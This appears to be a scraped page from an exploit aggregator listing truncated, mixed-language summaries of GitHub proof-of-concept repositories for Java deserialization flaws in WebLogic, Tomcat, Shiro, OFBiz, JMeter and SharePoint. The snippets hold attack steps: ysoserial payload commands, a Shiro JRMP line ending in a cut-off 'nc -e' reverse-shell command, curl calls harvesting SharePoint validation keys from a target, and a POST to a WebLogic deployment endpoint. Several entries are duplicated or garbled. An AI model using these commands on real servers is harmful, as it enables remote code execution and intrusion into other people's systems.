CVE-2018-2628

CVE-2018-2628 CVE-2018-2628-Exploit-Toolkit Die auf GitHub zusammengetragenen Exploit-Tools umfassen: 1.CVE-2018-2628-Schwachstellenerkennungstool // POC zur Erkennung des Vorhandenseins der Schwachstelle 2.weblogicpoc.py // POC zur Ausnutzung der Schwachstelle 3.ysoserial-0.1-cve-2018-2628-all.j...

Jmeter-CVE-2018-1297-

Jmeter RMI Deserialisierungs-Schwachstelle zur Befehlsausführung CVE-2018-1297 Apache JMeter ist eine Open-Source-Software-Suite, die von der American Apache Software Foundation in Java für Stresstests und Leistungstests geschrieben wurde. Die Versionen 2.x und 3.x enthalten eine...

CVE-2022-0265

CVE-2022-0265 Metti ysoserial.jar nella stessa directory esempio python CVE-2022-0265.py 127.0.0.1 URLDNS "http://xxx.log."...

cve-2016-1000027-poc

PoC für CVE-2016-1000027 Dies ist eine Demo-Spring-Boolt-Anwendung, die von CVE-2016-1000027 betroffen ist. Schritte zur Reproduktion der Sicherheitslücke 1. Starten Sie einen anfälligen Server com.gypsyengineer.server.Server. 2. Führen Sie com.gypsyengineer.client.Exploit aus. Die Exploit Klasse...

CVE-2025-53770-Exploit

CVE-2025-53770-Exploit Per prima cosa, ottieni i valori VIEWSTATEGENERATOR, VALIDATIONKEY e VALIDATIONALG dalla pagina SharePoint di destinazione: root@kitploit: curl -s https://target.com/layouts/15/start.aspx | grep -oP 'VIEWSTATEGENERATOR" value="\K^"+' curl...

CVE-2020-9484-exploit

CVE-2020-9484-exploit Apache Tomcat Remote-Code-Ausführung Bevor Sie das Skript ausführen, ändern Sie bitte den ysoserial-Pfad entsprechend Ihrem Dateipfad. ysoserial : https://github.com/frohoff/ysoserial für weitere Referenzen :...

SHIRO-550

Vulnerabilità di deserializzazione di Shiro RememberMe 1.2.4 SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e...

CVE-2021-26295--

CVE-2021-26295-- CVE-2021-26295-POC utilizza DNSlog per la verifica della vulnerabilità CVE-2021-26295. Uso del POC: inserisci il target in target.txt ed esegui python poc.py. Ambiente JDK deve essere 12, altrimenti ysoserial non può generare il payload correttamente EXP: python exp.py...

CVE-2021-27850

CVE-2021-27850 CVE-2021-27850 ysoserial https://novysodope.github.io/2022/05/31/81/...

CVE-2018-3245

CVE-2018-3245 Passo 1 java -jar ysoserial-cve-2018-3245.jar root@kitploit: WHY SO SERIAL? Usage: java -jar ysoserial-cve-2018-3245.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ CVE201828931 @mbechler CVE201828932 @mbechler CVE201828933...

CVE-2018-3252

CVE-2018-3252-PoC 1.Gere o PoC com YSOSERIAL 2.Você deve saber o USERNAME e a PASSWORD do servidor weblogic alvo 3.Envie o payload para a URL root@kitploit: POST /beawlsdeploymentinternal/DeploymentService HTTP/1.1 Host: 127.0.0.1:7001 Accept:...

CVE-2018-2893

CVE-2018-2893 Passo 1 java -jar ysoserial-cve-2018-2893.jar root@kitploit: WHY SO SERIAL? Usage: java -jar ysoserial-cve-2018-2893.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ JRMPClient @mbechler JRMPClient2 @mbechler JRMPClient3...

CVE-2021-26295-Apache-OFBiz

CVE-2021-26295-Apache-OFBiz CVE-2021-26295 Apache OFBiz RMI-Deserialisierungs-POC ysoserial.jar muss in das Verzeichnis gelegt werden, und es darf keine hohe Java-Version verwendet werden...

CVE-2025-24813-PoC

CVE-2025-24813-PoC CVE-2025-24813 riguarda Apache Tomcat: se si tratta di una versione vulnerabile e clamorosamente mal configurata, un attaccante può ottenere RCE con una sola GET e una sola POST. Maggiori informazioni qui Questo è lo script di Yiheng An, Jun Li, Qiang Liu, Haozhe Zhang e Qi Den...

CVE-2021-40865

CVE-2021-40865 CVE-2021-40865 POC/exploit-poc root@kitploit: import org.apache.commons.io.IOUtils; import org.apache.storm.serialization.KryoValuesSerializer; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.URLDNS; import java.io.; import java.math.BigInteger; import java.net.;...

Tomcat-CVE_2025_24813

Ambiente di test Tomcat CVE-2025-24813 L'exploit è stato forkato da https://github.com/absholi7ly/POC-CVE-2025-24813/blob/main/README.md non ha funzionato per me Contenuto 1. ROOT.war è un'app minimale con un servlet che include apache-common-3.1 e crea una sessione 2. ysoserial.jar preso...

CVE-2018-3245

CVE-2018-3245 Schritt 1 java -jar ysoserial-cve-2018-3245.jar root@kitploit: Usage: java -jar ysoserial-cve-2018-3245.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ CVE201828931 @mbechler CVE201828932 @mbechler CVE201828933 @mbechler...

CVE-2018-2893

CVE-2018-2893 Passaggio 1 java -jar ysoserial-cve-2018-2893.jar root@kitploit: WHY SO SERIAL? Usage: java -jar ysoserial-version-all.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ JRMPClient @mbechler JRMPClient2 @pynerd JRMPClient3 @pyner...

CVE-2018-1297

CVE-2018-1297 EXP per CVE-2018-1297 PS: devi scaricare ysoserial da solo!!! https://github.com/Al1ex/ysoserial-0.0.6-SNAPSHOT-all/releases...

potential-cassandra

CVE-2024-23114 Prepare o ambiente Precisaremos de uma instância Mysql docker run --rm -d --name cassandra -p 9042:9042 cassandr Agora precisaremos criar as tabelas necessárias: Você tem dois arquivos: employee.sql e employeecompleted.sql Execute o seguinte comando: docker exec -it cassandra bash...